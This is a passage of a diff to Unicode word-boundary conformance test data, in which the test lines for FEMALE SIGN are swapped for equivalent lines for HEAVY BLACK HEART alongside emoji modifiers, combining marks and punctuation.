DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 261D × 00AD ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1048,8 +1047,8 @@ ÷ 1F3FB × 0308 ÷ 261D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 1F3FB ÷ 1F3FB ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 1F3FB × 0308 ÷ 1F3FB ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 1F3FB ÷ 2640 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 1F3FB × 0308 ÷ 2640 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 1F3FB ÷ 2764 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 1F3FB × 0308 ÷ 2764 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 1F3FB ÷ 1F466 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F3FB × 0308 ÷ 1F466 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F3FB × 00AD ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1076,68 +1075,68 @@ ÷ 1F3FB × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3] ÷ 1F3FB ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] ÷ 1F3FB × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] -÷ 2640 ÷ 0001 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] (Other) ÷ [0.3] -÷ 2640 × 0308 ÷ 0001 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] (Other) ÷ [0.3] -÷ 2640 ÷ 000D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] (CR) ÷ [0.3] -÷ 2640 × 0308 ÷ 000D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] (CR) ÷ [0.3] -÷ 2640 ÷ 000A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] (LF) ÷ [0.3] -÷ 2640 × 0308 ÷ 000A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] (LF) ÷ [0.3] -÷ 2640 ÷ 000B ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] (Newline) ÷ [0.3] -÷ 2640 × 0308 ÷ 000B ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] (Newline) ÷ [0.3] -÷ 2640 ÷ 3031 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3] -÷ 2640 × 0308 ÷ 3031 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3] -÷ 2640 ÷ 0041 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3] -÷ 2640 × 0308 ÷ 0041 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3] -÷ 2640 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] COLON (MidLetter) ÷ [0.3] -÷ 2640 × 0308 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3] -÷ 2640 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] COMMA (MidNum) ÷ [0.3] -÷ 2640 × 0308 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3] -÷ 2640 ÷ 002E ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3] -÷ 2640 × 0308 ÷ 002E ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3] -÷ 2640 ÷ 0030 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3] -÷ 2640 × 0308 ÷ 0030 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3] -÷ 2640 ÷ 005F ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3] -÷ 2640 × 0308 ÷ 005F ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3] -÷ 2640 ÷ 1F1E6 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3] -÷ 2640 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3] -÷ 2640 ÷ 05D0 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3] -÷ 2640 × 0308 ÷ 05D0 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3] -÷ 2640 ÷ 0022 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3] -÷ 2640 × 0308 ÷ 0022 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3] -÷ 2640 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] -÷ 2640 × 0308 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] -÷ 2640 ÷ 261D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] -÷ 2640 × 0308 ÷ 261D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] -÷ 2640 ÷ 1F3FB ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 2640 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 2640 ÷ 2640 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 2640 × 0308 ÷ 2640 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 2640 ÷ 1F466 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3] -÷ 2640 × 0308 ÷ 1F466 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] -÷ 2640 × 00AD ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] -÷ 2640 × 0308 × 00AD ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] -÷ 2640 × 0300 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3] -÷ 2640 × 0308 × 0300 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3] -÷ 2640 × 200D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3] -÷ 2640 × 0308 × 200D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3] -÷ 2640 ÷ 0061 × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] -÷ 2640 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] -÷ 2640 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3] -÷ 2640 × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3] -÷ 2640 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] -÷ 2640 × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] -÷ 2640 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] -÷ 2640 × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] -÷ 2640 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3] -÷ 2640 × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3] -÷ 2640 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3] -÷ 2640 × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3] -÷ 2640 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] -÷ 2640 × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] -÷ 2640 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3] -÷ 2640 × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3] -÷ 2640 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] -÷ 2640 × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] +÷ 2764 ÷ 0001 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] (Other) ÷ [0.3] +÷ 2764 × 0308 ÷ 0001 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] (Other) ÷ [0.3] +÷ 2764 ÷ 000D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [3.2] (CR) ÷ [0.3] +÷ 2764 × 0308 ÷ 000D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] (CR) ÷ [0.3] +÷ 2764 ÷ 000A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [3.2] (LF) ÷ [0.3] +÷ 2764 × 0308 ÷ 000A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] (LF) ÷ [0.3] +÷ 2764 ÷ 000B ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [3.2] (Newline) ÷ [0.3] +÷ 2764 × 0308 ÷ 000B ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] (Newline) ÷ [0.3] +÷ 2764 ÷ 3031 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3] +÷ 2764 × 0308 ÷ 3031 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3] +÷ 2764 ÷ 0041 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3] +÷ 2764 × 0308 ÷ 0041 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3] +÷ 2764 ÷ 003A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] COLON (MidLetter) ÷ [0.3] +÷ 2764 × 0308 ÷ 003A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3] +÷ 2764 ÷ 002C ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] COMMA (MidNum) ÷ [0.3] +÷ 2764 × 0308 ÷ 002C ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3] +÷ 2764 ÷ 002E ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3] +÷ 2764 × 0308 ÷ 002E ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3] +÷ 2764 ÷ 0030 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3] +÷ 2764 × 0308 ÷ 0030 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3] +÷ 2764 ÷ 005F ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3] +÷ 2764 × 0308 ÷ 005F ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3] +÷ 2764 ÷ 1F1E6 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3] +÷ 2764 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3] +÷ 2764 ÷ 05D0 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3] +÷ 2764 × 0308 ÷ 05D0 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3] +÷ 2764 ÷ 0022 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3] +÷ 2764 × 0308 ÷ 0022 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3] +÷ 2764 ÷ 0027 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] +÷ 2764 × 0308 ÷ 0027 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] +÷ 2764 ÷ 261D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] +÷ 2764 × 0308 ÷ 261D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] +÷ 2764 ÷ 1F3FB ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] +÷ 2764 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] +÷ 2764 ÷ 2764 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 2764 × 0308 ÷ 2764 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 2764 ÷ 1F466 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3] +÷ 2764 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] +÷ 2764 × 00AD ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] +÷ 2764 × 0308 × 00AD ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] +÷ 2764 × 0300 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3] +÷ 2764 × 0308 × 0300 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3] +÷ 2764 × 200D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3] +÷ 2764 × 0308 × 200D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3] +÷ 2764 ÷ 0061 × 2060 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] +÷ 2764 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] +÷ 2764 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3] +÷ 2764 × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3] +÷ 2764 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] +÷ 2764 × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] +÷ 2764 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] +÷ 2764 × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] +÷ 2764 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3] +÷ 2764 × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3] +÷ 2764 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3] +÷ 2764 × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3] +÷ 2764 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] 